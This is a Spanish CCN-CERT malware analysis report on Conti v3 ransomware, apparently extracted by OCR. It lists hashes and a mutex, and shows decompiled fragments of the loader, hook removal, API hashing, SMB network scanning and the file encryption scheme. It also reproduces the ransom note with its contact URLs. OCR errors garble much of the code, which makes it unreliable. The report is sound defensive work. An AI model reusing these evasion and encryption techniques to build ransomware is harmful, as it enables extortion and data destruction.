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LIMITACION DE RESPONSABILIDAD

El presente documento se proporciona de acuerdo con los términos en él recogidos, rechazando
expresamente cualquier tipo de garantia implicita que se pueda encontrar relacionada. En ningun caso, el
Centro Criptoldgico Nacional puede ser considerado responsable del dafio directo, indirecto, fortuito o
extraordinario derivado de la utilizacién de la informaciéon y software que se indican incluso cuando se
advierta de tal posibilidad.

AVISO LEGAL

Quedan rigurosamente prohibidas, sin la autorizacion escrita del Centro Criptoldgico Nacional, bajo las
sanciones establecidas en las leyes, la reproduccion parcial o total de este documento por cualquier medio
o procedimiento, comprendidos la reprografia y el tratamiento informdtico, y la distribucién de
ejemplares del mismo mediante alquiler o préstamo publicos.
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1. SOBRE CCN-CERT, CERT GUBERNAMENTAL NACIONAL

El CCN-CERT es la Capacidad de Respuesta a incidentes de Seguridad de la
Informacién del Centro Criptoldgico Nacional, CCN, adscrito al Centro Nacional de
Inteligencia, CNI. Este servicio se cred en el afio 2006 como CERT Gubernamental
Nacional espafiol y sus funciones quedan recogidas en la Ley 11/2002 reguladora del
CNI, el RD 421/2004 de regulacion del CCN y en el RD 3/2010, de 8 de enero, regulador
del Esquema Nacional de Seguridad (ENS), modificado por el RD 951/2015 de 23 de
octubre, asi como en el RDL 12/2018 de Seguridad de las Redes y Sistemas de
Informacidn y desarrollado ultimamente en el RD 43/2021.

Su misidén, por tanto, es contribuir a la mejora de la ciberseguridad espafiola,
siendo el centro de alerta y respuesta nacional que coopere y ayude a responder de
forma rapida y eficiente a los ciberataques y a afrontar de forma activa las
ciberamenazas, incluyendo la coordinacién a nivel publico estatal de las distintas
Capacidades de Respuesta a Incidentes o Centros de Operaciones de Ciberseguridad
existentes.

Todo ello, con el fin Ultimo de conseguir un ciberespacio mas seguro y confiable,
preservando la informacién clasificada (tal y como recoge el art. 4. F de la Ley 11/2002)
y la informacion sensible, defendiendo el Patrimonio Tecnolégico espafiol, formando al
personal experto, aplicando politicas y procedimientos de seguridad y empleando vy
desarrollando las tecnologias mas adecuadas a este fin.

De acuerdo a esta normativa y la Ley 40/2015 de Régimen Juridico del Sector
Publico es competencia del CCN-CERT la gestion de ciberincidentes que afecten a
cualquier organismo o empresa publica. En el caso de operadores criticos del sector
publico la gestidon de ciberincidentes se realizara por el CCN-CERT en coordinacién con
el CNPIC.
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2. INFORMACION DEL CODIGO DANINO

El presente documento recoge un analisis sobre los componentes con las
siguientes firmas:

85C434FBAAS4FBAD73D77429A32E88B184EC2F88

2DE7653D469BB2846A68775220B784153059E051

Ambos componentes se corresponden a distintas compilaciones de la versién v3
de Conti ransomware, segun revela la ruta de simbolos de depuracién (PDB) presente
en los programas.

Address - Size Type String
H 0002c024 00000026 & Adsource\conti_v3\Release\cryptorpdb
0002c00c 52 53 44 53 a0 12 be 50 7d d4 d4 41 a5 75 27 3b REDS...F}..A.mn";
0002e0lc 99 Th da a2 01 00 00 00 41 3a 5¢ 73 6£ 75 T2 63 -{......A:\soure
0002c02c 65 Sc 63 6f 6e T4 65 5f 76 33 5c 52 65 6c 65 61 e\conti_w3\Relea
0002Zc03c 73 65 Sc 63 72 79 70 74 6f 72 2e 70 64 62 00 se\cryptor.pdb.

Figura 1. Ruta de simbolos de depuracion (PDB).

3. CARACTERISTICAS DEL CODIGO DANINO

El cédigo dainino examinado posee las siguientes caracteristicas:
e Es compatible con sistemas Windows de 32 y 64 bits.
e Emplea cifrado y ofuscacidn para dificultar su deteccidn.
e Resuelve APIs de forma dinamica.
e Elimina posibles hooks en las APIs que utiliza.

e Cifra los ficheros de las unidades del sistema, utilizando algoritmos de
cifrado simétrico (ChaCha8) y asimétrico (RSA).

e Enumeray cifra recursos compartidos de red.

e Crea un mensaje de rescate en cada directorio cifrado.
e Finaliza procesos en ejecucion.

e Elimina las Shadow Copies del sistema.

e No requiere de conexidén a internet.
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4. DETALLES GENERALES

Las muestras analizadas utilizan el formato PE EXE (Portable Executable), es decir,
se corresponde con un ejecutable para sistemas operativos Windows, concretamente
para 32 bits (por lo que puede funcionar también en sistemas de 64 bits), compiladas
con “Microsoft Visual C/C++ 2015”.

Ambas muestras reflejan en su fecha interna (TimeDateStamp) que fueron creadas
durante el mes de noviembre de 2020. No obstante, hay que tener en cuenta que esta
informacién puede ser facilmente alterada.

pFile Data Description Value
0oooo10c 014C Machine IMAGE_FILE_MACHINE_|386
0000010E 0006 MNumber of Sections

00000110 SFAS8TFT  Time Date Stamp 2020/11/09 lun 18:18:31 UTC
00000114 00000000  Pointer to Symbaol Table
00000118 00000000  Mumber of Symbols

0ogoo1c 00ED Size of Optional Header

0000011E 0102 Characteristics
0ooz IMAGE_FILE_EXECUTABLE_IMAGE
0100 IMAGE_FILE 32BIT_MACHINE

Figura 2. Informacion del cédigo dafiino.

SHA1 Fecha creacion

85C434FBAA94FBAD73D77429A32E88B184EC2F88 | 2020/11/17 20:10:28 UTC

2DE7653D469BB2846A68775220B784153059E051 | 2020/11/09 18:18:31 UTC

5. CARACTERISTICAS TECNICAS

5.1 CARGADOR

Con el objetivo de dificultar su deteccion, uno de los componentes analizados,
emplea un cargador/packer que descifra el contenido de uno de sus recursos para
finalmente cargar en memoria Conti ransomware.

Centro Criptologico Nacional USO OFICIAL




@l USO OFICIAL CN i cm

CCN-CERT ID-02/21 Cédigo Daiiino Conti v3 Ransomware centro ariptolégico nadonal

if ( !setFilefAttributesA("C:\\Windows\\notepad.exe”, FILE_ATTRIBUTE_NORMAL) )

{
Src o= @3
dwsize = @;
viz[e] = 23;
12[1] = 7765;
12[2] = 1833;

v4 = LoadLibraryA("ntdll.d11"};
LdrFindResource_U = (int (_ stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD))GetProcAddress(v4, "LdrFindResource_U");
LdrAccessResource = (int (_ stdecall *)(_DWORD, _DWORD, _DWORD, _DWORD))GetProcAddress(v4, "LdrAccessResource™);
if ( LdrFindRescurce_U(@x2Feese, w12, 3, &v1l) =@ )
LdrAccessResource(3888192, v11, &5rc, &dwSize);
prot = whtoi(L"64");
alloc = VirtualAlloc(®, dwSize, @x1@88u, prot);
memcpy(alloc, Src, dwSize);
init_key((int)a4lizzsbqllvCsi, 61, &vE);
decrypt((int)alloc, dwSize, (unsigned _ intd *)&v3);
((void (*)(veid))alloc)();

dword_2F36@88 = (int)hInstance;

}
return 8;
Figura 3. Cédigo del cargador.
--@Dialogs .
=) HTML Pages | B & = | @ p =
L3 7765 - lang: 1033]
-{25) Configuration Files Offset 0 1L 2 3 4 5 & 7 8 9 A B CDEF Ascii
00000000 | 93 94 2E 8D &3 &E D9 9C D7 59 24 57 94 22 A4 ZE | 11. E«0IXTSWI"E.
- angoonataf 51 85 AD FD DF 67 B2 E9 95 94 52 9B 50 39 60 02 | QI-yRg:&1IRIFI -
Resource Properties Conlei=h 0 3F 58 DC EE C4 40 CO Bi 48 BE 49 FO D1 C0 74 | P?EUid@de uesfit
7 &k FE F& SE 75 5C 64 0E 3C 3D CE 91 7B F3 Ba |9ﬁ[j|u\d.r3<=1'é69
4 93 15 C2 6A 57 A7 C2 1C 2F 57 47 91 C9 SE DE | 2 |L4jWsd ~WG E'B
Resource Id /Name: 4 DC 3D AD 7B 2F S A7 82 49 EB 26 46 11 00 BS | DU=—{ ZS1I1S4F«.
765 C B6 A3 71 90 48 87 07 ES5 16 34 OB 10 39 21 DS ig Hied—: 549!
3 51 8D C9 E9 36 16 57 4B OC 4D F1 41 28 2C 9E | ZQ Ee6-WKIMEA(, |
T 4F 01 EA 5D 30 BC 7F Fi DE 27 73 EA FA SB C3 | 1C a]0kiull ' sea[&
Language: % IF ES 67 C9 23 CD 74 Ak 85 9B 12 AR 37 94 1B | u ag #IZQII%{«?I*
- - - 4 F9 BZ 92 05 90 37 2B 3F 7B FC D1 E4 13 E9 38 | an* 1 7+7{iffsnés
[Englsh (United States) | fas CB 10 95 33 F7 PE C3 7F Lt AS 44 39 GF SE B2 | TEL19-abree1s oo
4 43 50 2B BE 1F 3F 11 B8 F2 68 8B 2D A7 3D SE | HCP+% 7«4, 0hl-§="
[ oK ] [ Cancel ] f BY 9F 2D DB 11 2C SE 45 D3 65 08 23 9F 6B 4E | &'1-2Z«. "Edcc# IkH
1 D5 6F 5F 3E 95 7B C& 10 C& 55 73 77 43 72 BE | Alo_»1{F<EUswCrs
_ 0 22 BD CE 03 31 13 2F F3 EA F2 0B F4 1B CC 2E | I"HEtltr eecse-I.
8D 43 SE OF 38 B9 2F 82 A3 9F C4 34 4C 7B 6B 90 Cloat aela L{k
00000110 | D4 CC 74 80 64 Fe SE 20 AE B4 11 E1 14 D6 7E 16 | OIt1j5". 8 4590~

Figura 4. Recurso cifrado.

Una vez descifrado el recurso, continua su ejecucién desde él, que se corresponde
con un fragmento de cédigo (shellcode) utilizado para cargar otro fichero ejecutable (PE
DLL).

Para llevar a cabo este proceso, realiza los siguientes pasos:
e Resuelve dindmicamente las APIs necesarias.
e Reserva memoria y copia el contenido del PE DLL.

e Aplica las reubicaciones correspondientes y resuelve la tabla de
importaciones (IAT).

e Finalmente, continua su ejecucién desde el punto de entrada del nuevo PE
DLL cargado.
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1B00OL _ stdcall _ noreturn D1lEntryPoint(HINSTANCE hinstDLL, DWORD fdwReascn, LPVOID lpReserved)

® 3 LoadReflective PE_EXE((int)&g PE, 8x2F30@);
® 4 ExitProcess(@);

00001BCC D11EntryPoint:2 (100027CC)

| IDA View-A
.data:188684854 ; WCHAR LibFileName

.data:1e084854 LibFileName: ; DATA XREF: sub_leeele3e+l2fo
® | data:10064054 text "UTF-16LE™, 'kernel32.d1l’,@
*® | data:1008486E align 1eh
® . data:10004870 g_PE db 4Dh ; M ; DATA XREF: D1lEntryPoint+17to
® |.data:l8ee4871 db S8h ; Z
® | data:10064872 db 98h
® | data:10064873 db )
® | data:10064074 db 3
: .data: 10064875 db )

Figura 5. Punto de entrada de DLL cargada.

Este fichero PE DLL tiene como objetivo cargar otro PE EXE final, que se
corresponde con ransomware Conti. El contenido de este fichero PE EXE nunca llega a
escribirse en disco, sin embargo, se ha realizado un volcado de memoria para calcular
sus firmas.

Fecha creacion

C72BD50BEOA494634FBFDEE9DF4B6C7BDFCAAS504 | 2020/11/17 20:10:22 UTC

5.2 TECNICAS ANTI-ANALISIS
5.2.1 DESACTIVACION DE HOOKS

Durante su inicio, después de cargar todas las dependencias necesarias (maédulos),
recorre las APls exportadas de cada uno de ellos en busca de posibles hooks,
comprobando si su inicio comienza con un opcode de salto (JMP).

En caso de encontrarlo, remplazara los 10 primeros bytes del APl en memoria por
el contenido del API del fichero en disco.

1
v3i6 = result - 1;
w19 = v42 + RvaToOffset(*v17, v1s5);
v2B = RvaToOffset(v3B[7], v42);
v21 = v42 + RvaToOffset(*{ DWORD *)(v42 + v20@ + 4 * *vi1g), v42);
vdl = v21;
if ( !IsvalidExport((_BYTE *)v21l) )
{

v22 = (int (__stdcall *)({void *, unsigned int)}GetAPI(15, kernel32_GetProcAddress, 188);
v23 = (_BYTE *)w22(this, v19);

v2d = y23;
if (w23 )
w25 = *y23;
if ( *w24 == "\xE9' || w25 == (char)@xFF && v24[1] == @x25 )// Relative IMP
/4 Abs JMP
{
if ( w2l )
{
viE = @;

Figura 6. Busqueda de hooks al comienzo de las APIs.
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V20 = Decryptstring6(vsc); J7 5hell3z.dIT
p_leoadlibrary = (int (_ stdcall *)(unsigned _ intd *, int))GetAPI(15, kernel32_LoadlLibraryA, 187);// LoadLibrary
h_shell32 = (void *}p_Loadlibrary(v29, v48);
if { h_kernel32 )
RemoveModuleHooks (h_kernel32);
if ( h_ws2 32 )
RemoveModuleHooks (h_ws2_32);
if { h_advapi32 )
RemoveMeduleHooks (h_advapiz2);
if ( h_Rstrtmgr }
RemoveModuleHooks(h_Rstrimgr);
if ( h_ole32 )
RemoveModuleHooks(h_ole32);
if { h_0leauth }
RemoveModuleHooks(h_ole32);
if { h_netapi )
RemoveModuleHooks(h_netapi);
if { h_iphlpapi_ )}
RemoveMeduleHooks (h_iphlpapi );
if ( h_shlwapi }
RemoveModuleHooks (h_shlwapi);

i

Figura 7. Eliminacion de hooks en mddulos cargados.

5.2.2CIFRADO DE CADENAS

El cddigo dafiino mantiene cifradas todas las cadenas que utiliza. Cada cadena se
descifra en pila en tiempo de ejecucidon haciendo uso un algoritmo propio, que aplica
operandos o claves distintas en cada bucle de descifrado.

v19[5] = 15;
v19[6] = 183;
v19[7] = 15;
v19[8] = 15;
v19[9] = 15;

for ( 7 = 8; 7 « BxhA; H7 )
w19[§] = (7 * ((unsigned _ int3)v19[§] - 15) % 127 + 127) ¥ 127;// .dll
v12[1] = (int)vis;
v17[11] = 8;
gmemcpy (w18, “"whgtRM2ZAMNT, 18);
for ( k= 8; k < @xA; ++k )
v1s[k] = (12 * ((unsigned __int8)vis[k] - 94) ¥ 127 + 127) ¥ 127;// .1nk
v12[2] = (int)viE;
viG[11] = @;
gmemcpy (v17, “\au u+u uuu®, 18);
for { 1 =8; 1 < @xA; ++1 )

w17[1] = (55 * ((unsigned _ int8)v17[1] - 117) ¥ 127 + 127) ¥ 127;// .sys
v12[3] = (int)vi7;
v15[31] = 8;

viG[@] = 11;

Figura 8. Descifrado de cadenas.

5.2.3 RESOLUCION DE APIS

El cédigo resuelve dindmicamente las siguientes APls necesarias para su
funcionamiento:
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kernel32.dll ‘

Cancello
CloseHandle
CreateFileMappingW
CreateFileW
CreateloCompletionPort
CreateMutexA
CreateProcessW
CreateThread
CreateTimerQueue
CreateTimerQueueTimer
CreateToolhelp32Snapshot
DeleteCriticalSection
DeleteTimerQueue
EnterCriticalSection
ExitThread
FindClose
FindFirstFilew
FindNextFilew
GetCommandLineW

GetCurrentProcess

GetFileAttributesW
GetFileSizeEx
GetlastError

GetlLogicalDriveStringsW
GetModuleFileNameW
GetNativeSysteminfo
GetProcAddress
GetProcessld
GetQueuedCompletionStatus
GlobalAlloc
GlobalFree
InitializeCriticalSection

LeavecCriticalSection

LoadLibraryA
MapViewOfFile
MoveFileW
PostQueuedCompletionStatus
Process32FirstW

Process32NextW

ReadFile
SetEndOfFile
SetFileAttributesW
SetFilePointer
SetFilePointerEx
Sleep
VirtualProtect
WaitForMultipleObjects
WaitForSingleObject
WideCharToMultiByte
Wow64DisableWow64FsRedirection
Wow64RevertWow64FsRedirection
WriteFile
IstrcatW
IstrcmpW
IstrempiW
IstrcpyW
IstrlenA

IstrlenW

netapi.dll iphlpapi.dll

Rstrtmgr.dll

user32.dll shlwapi.dll

NetApiBufferFree GetlpNetTable RmEndSession wvsprintfW StrStriA
NetShareEnum RmGetList StrStriw
RmRegisterResources
RmShutdown
RmStartSession
ws2_32.dll ole2_32.dll oleAut32.dll shell32.dll

WSAAddressToStringW CoCreatelnstance RmEndSession CommandLineToArgvW

WSACleanup ColnitializeEx RmGetList
WSAloctl ColnitializeSecurity RmRegisterResources
WSASocketW CoSetProxyBlanket RmShutdown
WSAStartup CoUninitialize RmStartSession
bind

closesocket

USO OFICIAL
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gethostbyname
gethostname
getsockopt
inet_ntoa

setsockopt
shutdown

Para obtener la direccién de cada API, recorre las exportaciones del médulo dado,
calcula un hash (algoritmo Murmur) con el nombre de la funcién y lo compara con el
hash correspondiente al APl deseado.

vl4 = F(DWORD *)((char *)&nt_headers->0ptionalHeader.Datalirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT].Size + a2);
v17 = {unsigned int)export_dir;
if ( HIWORD(al)
&& (v7 = e,
exp_name = (_DWORD *)(base + export_dir-»AddressOfNames),
v = (unsigned _ intlé *)(base + export_dir->AddressOfNameOrdinals),
export_dir-:NumberOfNames) )

while ( 1)

name = {(char *)(base + *exp_name);
ordinal = @;
if ( *name }
1
do
+ordinal;
while { name[ordinal] );

if ( murmur_hash(name, ordinal) == hash }
break;

++u T

base = az;

+exp_name;

Figura 9. Resolucion de APIs por hash.

vdd = 8;

CommandLineToArgvid = (int (_ stdcall *)(void *, int *))GetAPI(23, @xC7DFA7FC, 61);// shell32_CommandLineToArgvid
result = CommandLineToArgvid(this, &wa4@);

argv = result;

if ( result )

Figura 10. Resoluciéon y llamada a API.

5.3 PARAMETROS DE EJECUCION

El codigo daiino procesa los parametros pasados por la linea de comandos para
modificar su forma de operar. A continuacién, se detallan los distintos parametros

soportados:
Parametro Descripcion \
-p <directorio> Cifra Unicamente el directorio especificado.
-m [all,local,net,backups] Especifica el modo de cifrado.

o all: cifra todas las unidades de disco local y recursos
de red compartidos. Opcién por defecto.

e local: cifra las unidades de disco locales.
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e net: cifra los recursos de red compartidos.
e backups: no implementado.
-log <fichero_salida> Crea un fichero de depuracién con informacién de su
ejecucion.
-size <tipo_bloque> No implementado. Valor por defecto: 50
-nomutex No crea ni comprueba ningin mutex durante su
ejecucion.
5.4 MUTEX

Para garantizar su ejecucidn exclusiva y que no existan mas instancias del proceso
en ejecucion, crea el siguiente mutex:

kjkbmusop9igkamvcrewuyy777

gmemepy(v42, “"FFRER™", sizeof(v42));
mutex_name = DecryptStringl3(v33);
pCreateMutexA = (int (_ stdcall *){ DWORD, MACRO BOOL, LPCSTR))GetAPI(15, kernel22 CreateMutexd, 25);
hMutex = pCreateMutexA{NULL, TRUE, (LPCSTR)mutex_name};// kjkbmusop9iqkamvcrewuyy777
pWaitForsingleObject = (int (_ stdcall *)(int, _DWORD))GetAPI(15, kernel32 WaitForSingleObject, 11);
if { pWaitForsingleObject{hMutex, @) }

return 1;

Figura 11. Creacién de mutex

En caso de existir otra instancia del mutex en uso, simplemente esperard a que el
mutex deje de ser usado para finalizar la ejecucidon del proceso.

Si el cédigo dafiino se ejecuta con el parametro “-nomutex”, no creara ni
comprobara la existencia del mutex.

5.5 ENUMERACION DE FICHEROS

El codigo daiiino crea varios hilos de cifrado en base a los parametros de ejecucion
proporcionados. Por defecto (-m all), usard el nimero de procesadores que disponga la
maquina. Para cualquier otro modo de operacion, usard el doble del nimero de
procesadores.

if { args_flags == all ) ff -m all
n_threads = sysinfo_.dwNumberOfProcessors;

else
n_threads = 2 * sysinfo_.dwNumberOfProcessors;

for ( i = n threads + 5572957; !{i ¥ 4); ++1 )

if { args_flags == all || args_flags == local )

if { !Init CriticalSection(®, n threads) )
return 1;
for ( 1 = n threads + 5572957; !(i % 4); ++1i )

if { 'RunEncryptThreads() )
return 1;
for ( 1 = n threads + 5572957; !(i % 4); ++1i )

El

Figura 12. Calculo de hilos de cifrado.
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Para obtener las distintas unidades ldgicas del sistema utiliza el API
“GetlLogicalDriveStringsW”, y las almacena en una lista compartida para su posterior
procesado por los hilos de cifrado.

*thiz = 8;
this[1] = this;
pGetlogicalDrivestrings = (int (_ stdcall *)(_DWORD, _DWORD))GetAPI(15, kernel32 GetlLogicalDriveStringsw, 2);
s_drives = pGetlLogicalDriveStringsil(@, @);
v4 = s_drives;
if ( !s_drives }
return @;
Block = malloc(2 * s_drives + 2);
memset(Block, @, 2 * vd + 2);
if ( !Bleck )
return @;
pGetlogicalDriveStringsW_ = (void (_ stdcall *}(int, woid *))GetAPI(15, kernel32 GetlLogicalDriveStringsw, 2);
pGetlogicalDriveStrings_(v4, Block);
w7 = (unsigned _ intl6 *)Block;
vd = (int (_ stdcall *){void *, int))GetAPI(15, kernel32 lstrlenW, 1);
for ( i = (_DWORD *)v8(Bleck, v19); i3 i = (_DWORD *)v12(v7, v2a) )

Figura 13. Enumeracion de unidades ldgicas.

Durante la enumeracién de ficheros, evitara cifrar cualquier directorio cuyo
nombre contenga alguno de las siguientes cadenas:

tmp

winnt

temp

thumb

SRecycle.Bin

SRECYCLE.BIN

System Volume Information
Boot

Windows

Trend Micro

while ( 1 )
pStrstrIW = (int ( stdcall *)(void *, int))GetAPI(22, shlwapi StrStrIW, 74);
if ( pstrstriW(this, v14[count]) ) // tmp
/1 winnt
// temp
/f thumb

// $Recycle.Bin
// BRECYCLE.BIN
// system Volume Information
// Boot
// Windows
f// Trend Micro

break;

if ( ++count »= 1@ )
return 1;

b

return 8;

Figura 14. Lista blanca de directorios.
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Del mismo modo, evitard cifrar cualquier fichero que cuyo nombre contenga
alguna de las siguientes cadenas:

.exe
el

.Ink

.Sys

.msi

readme.txt
CONTI_LOG.txt

.PVVXT (extension cifrado)

Para enumerar recursos de red compartidos, obtiene las entradas de la tabla ARP
(Address Resolution Protocol) del sistema usando el APl “GetlpNetTable”, donde
recopila Unicamente aquellas que se correspondan a direcciones IP locales
comprobando si contienen alguna de las siguientes cadenas:

172.
192.168
10.

169.

Por cada IP localizada, escanea todo su rango de red (CLDR /24) en busca de
equipos con posibles recursos compartidos. Para realizar esta comprobacidn, intenta
establecer una conexion al puerto 445 (SMB).

LOWORD(v5[@]) = 2;
HIWORD(v5S[@]) = htons{445u); // 445 (SMB)
v5[1] = ip_entry-»ip_addr;

if ( g_MSAFD_ConnectEx(ip_entry-»socket, v5, 16, @, @, v4, ip_entry) )

ip_addr = ip_entry->ip_addr;
ip_entry-»error = @;
add_ip_addr_for_enum_shares(ip_addr);

else if ( WSAGetLastError() == WSA_IO_PENDING )

++dword_438AD8;
ip_entry-»error = 1;

}

ip_entry = (struct_i *)ip_entry-»next;

while ( ip_entry );

}

Figura 15. Descubrimiento de equipos con SMB activo.

Protocol  Length Info

ARP 42 Who has 172.16.1.392 Tell 172.16.1.2
ARP 42 Who has 172.16.1.487 Tell 172.16.1.2
ARP 42 Who has 172.16.1.417 Tell 172.16.1.2
ARP 42 Who has 172.16.1.42? Tell 172.16.1.2
ARP 42 Who has 172.16.1.43? Tell 172.16.1.2
ARP 42 Who has 172.16.1.44? Tell 172.16.1.2
ARP 42 Who has 172.16.1.45? Tell 172.16.1.2
ARP 42 Who has 172.16.1.467 Tell 172.16.1.2
ARP 42 Who has 172.16.1.477 Tell 172.16.1.2
ARP 42 Who has 172.16.1.487 Tell 172.16.1.2
ARP 42 Who has 172.16.1.49? Tell 172.16.1.2

Figura 16. Descubrimiento de equipos en la red local.
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En caso de encontrar maquinas con el servicio SMB activo, enumera sus recursos
compartidos mediante el APl “NetShareEnum”. Los recursos compartidos encontrados
se encolan en una lista compartida para ser procesados por los hilos de cifrado, evitando
cifrar cualquier recurso con nombre “ADMINS”.

5.6 DESBLOQUEO DE FICHEROS

Para garantizar que puede cifrar todos los ficheros del sistema, Conti hace uso del
Administrador de reinicio de Windows (Restart Manager - rstrtmgr.dll). Cuando detecta
que un fichero se encuentra bloqueado, realiza el siguiente proceso para tratar de
desbloquearlo:

e Registra el fichero bloqueado en una sesién del gestor de reinicio, usando
el APl “RmRegisterResources”.

e Obtiene el listado de aplicaciones y servicios que estan haciendo uso del
recurso registrado, mediante el APl “RmGetList”.

e Detiene el proceso o servicio mediante el APl “RmShutdown”, siempre y
cuando el identificador de proceso (PID) no se corresponda con el proceso
actual o el de “explorer.exe”.

n_proc_into = vid;

p_RmGetlist = (int (_ stdcall *)(int, unsigned int *, unsigned int *, RM_PROCESS_INFO *, int *))GetAPI(19, rstrtmgr_RmGetlist, 64);

if ( p_RmGetlist(v12, &34, &n_proc_info, rgAffectedipps, &35) || !v34 )
goto LABEL 24;

pGetCurrentProcess = (int (*)(void))GetAPI(15, kernel32_GetCurrentProcess, 6);

hProcHandle = pGetCurrentProcess();

pGetProcessId = (int (_ stdcall *)(int))GetAPI(15, kernel32_GetProcessId, 9);

current_proc_id = pGetProcessId(hProcHandle);

count = @;

v33 = current_proc_id;

if ( n_prec_info )

rgAffectedApps_ = rgAffectedApps;
while { rgaffectedApps_->Process.dwProcessId != current_proc_id )
t

p_explerer_id = *(_DWORD **)g_pExplorerPID;

if ( *(_DWORD *)g_pExplorerPID )

while ( rgaffectedipps_->Process.dwProcessId != *p_explorer_id )

p_explorer_id = (_DWORD *)p_explorer_id[1];
if ( !p_explorer_id )
goto LABEL_19;
1

break;

EL_19:
+count;
+rgaffectedipps_;
if ( count »= n_proc_info )
goto SHUTDOWN;

Figura 17. Desbloqueo de ficheros.

5.7 ESQUEMA DE CIFRADO

El cédigo mantiene embebida una clave publica RSA de 4096 bits, que utiliza para
cifrar las claves generadas de cada fichero a secuestrar.
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.data:@842EF9C align 1eh

.data:@842EFAR 3 PUBLICKEYSTRUC g_public_key

.data:8842EFA8 g_public_key db & 5 bType
.data:Be42EFAR DATA XREF: @Thread_Encrypt+5Fto
.data:8@42eFAR db 2 bVersion

.data:B@42EFAR dw B reserved

.data:8e42EFAR dd @A488h aikeyalg

.data:@@42EFAS db 52h ;
.data:@842EFA9 db 53h ;
.data:@842EFAA db  41h ;
.data:@842EFAE db 31h ;
.data:8e42EFAC dd 1eeeh
.data:8e42EFER dd 1@6e1lh
.data:8842EFB4 db eCchh ;
.data:@e42EFBS db 56h ;
.data:@@42EFEG db 48h
.data:@@42EFE7 db 6Ch
.data:8842EFB3 db @CDh
.data:@842EFB9 db 44h
.data:8842EFBA db BE4h
.data:@842EFBE db @D1h
.data:8842EFBC db  &2h

(I TH e B T S S = I m
e e e e

s e bms s e tes s b

o

Figura 18. Claves publica RSA embebida.

A continuacidn, se detalla el proceso de cifrado que aplica en cada fichero:

e Mediante el uso del APl “CryptGenRandom”, genera una clave (32 bytes) y
nonce ! (8 bytes) para el algoritmo ChaChas8.

e Cifrala clave y nonce usando la clave publica RSA que lleva embebida.

e Escribe el resultado de la operacion anterior (512 bytes — 4096 bits), junto
con otros 22 bytes de informacidn al final del fichero a cifrar (534 bytes).

e Cifra el contenido del fichero con el algoritmo ChaChas.

e Finalmente, renombra el fichero, afiadiéndole la extensién de cifrado
correspondiente.

Descripcidn de los bytes que escribe al final de cada fichero cifrado:

Offset Descripcion Bytes
0x0 Clave ChaCha8 (32 bytes) y nonce (8 bytes), cifrado con la | 0x200
clave publica RSA embebida.
0x200 | Bytes nulos. 0xC
0x20C | Tipo de fichero (pequeiio, mediano, grande) 0x1
0x20D | Modo de tamafio usado (ficheros grandes) 0x1
0x20E | Tamafio original del fichero 0x4
0x212 | Bytes nulos. 0x4

El cédigo hace uso tres categorias durante el cifrado, dependiendo del tamafio del
fichero o su extension:

- Pequeiio (0x24): Ficheros cuyo tamafio sea inferior a 1MB, o que posean alguna
de las siguientes extensiones. Cifrara como maximo 1MB.

1

https://www.ccn-cert.cni.es/publico/seriesCCN-STIC/series/400-Guias_Generales/401-glosario_abreviaturas/index.html2n=439.html

Centro Criptologico Nacional USO OFICIAL




@l USO OFICIAL CN ) cm

CCN-CERT 1D-02/21 Cédigo Daiiino Conti v3 Ransomware eaniro arptolfigico noconal

- Medianos (0x25): Ficheros cuyo tamafio esté entre 1MB y 5MB. Unicamente
cifrara el primer 1 MB.

- Grandes (0x26): Ficheros cuyo tamafio sea superior a 5MB. El cifrado se realiza
cada N bloques, evitando asi tener que cifrar todo el contenido. También considerara
ficheros grandes aquellos que tengan alguna de las siguientes extensiones:
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vdi .qcow?2
.vhd .subvol
.vmdk .bin
.pvm VsV
.vmem .avhd
.vmsn .vmrs
.vmsd .vhdx
.nvram .avdx
.vmx .vmex
.raw .iso

01EOh: B3 52 BE A6 B9 3C 5B CD D3 15 75 EC 79 21 37 06 *R% '<[I0.uiy!7.
01FOh: 8E 77 15 4B &F C8 16 E3 F1 99 45 1E 21 A6 97 0C Zw.KoE.3A™E.!'—.
0200h: 0O 00 00 00 00 00 OO OO OO0 00 OO0 00 24 00 06 2E ............ $...
0210h: 00 00 OO OO OO OO ...

Figura 19. Marca de tipo de fichero y tamaiio al final de fichero cifrado.
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Figura 20. Flujo de cifrado.

Extensiones de cifrado aplicadas por los componentes analizados:

SHA1l Extension

85C434FBAA94FBAD73D77429A32E88B184EC2F88 | .KCWTT

2DE7653D469BB2846A68775220B784153059E051 | .PVVXT
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.data:B@42EFBE {@g_enc_ext: ; DATA XREF: [@CheckFileTypeEncryptContent+363To
.data:Be42EFEE 3 [{is_valid extensiont32Ato

.data:BA42EF88 text "UTF-16LE", '.PWXT',R

.data:8@42EFI6 align 4

Joy_  mmancenn TRLY.T. Tl

Figura 21. Extension de cifrado estatico en el cédigo.

Este esquema de cifrado, muy comun en familias de ransomware, garantiza a los
atacantes que los ficheros secuestrados Unicamente puedan ser descifrados usando la
clave privada RSA que mantienen en su posesion.

5.8 MENSAIJE DE RESCATE

El cddigo dafiino escribe su mensaje de rescate en cada uno de los directorios
cifrados, creando un fichero con nombre “readme.txt”, que mantiene el siguiente
contenido:

A1l of your files are currently encrypted by CONTI strain.

As you know (if you don’'t - just "google it"), all of the data that has been encrypted
by our software cannot be recovered by any means without contactinﬁtour team directly.
It you try to use any additional recovery software - the files might be damaged, so if
you are willing to try - try it on the data of the lowest value.

To make sure that we REALLY CAN get your data back - we offer you to decrypt 2 random
files completely free of charge.

You can contact our team directly for further dinstructions through our website :

TOR VERSION :
(you should download and install TOR browser first https://torproject.org)

http://m232fdxbfmbrcehbrjsiayknxnggfenigfjox4iedrgrtabdqupzjlaid. onion

HTTPS WERSION :
https://contirecovery.info

YOU SHOULD BE AWARE!

Just in case, if you try to ignore us. We've downloaded a pack of your internal data
and are ready to publish it on out news website if you do not respond. So it will be
better for both sides if you contact us as soon as possible.

---BEGIN ID---
M1zi1A7UTTHEQT Hp4KvHT Y coNsyYhQQYQTSwyPMTCZ xmuPTxyy32q1ZP juyUvgqiRa
--—END ID---

Figura 22. Mensaje de rescate “readme.txt”.

5.9 BORRADO SHADOW COPIES

Antes de comenzar el cifrado, el cddigo daiino trata de eliminar las distintas copias
de seguridad (Shadow Copies) existentes en el sistema. Para llevar a cabo este proceso,
realiza los siguientes pasos:

e |Instancia el objeto COM con CLSID: 4590F811-1D3A-11D0-891F-
00AA004B2E24 (WBEM Locator).

e Instancia el objecto COM con CLSID: 674B6698-EE92-11D0-AD71-
00CO4FD8FDFF (Microsoft WBEM Call Context).

e Se conecta al namespace “ROOT\CIMV2” para obtener un objeto
“IWbemServices”.
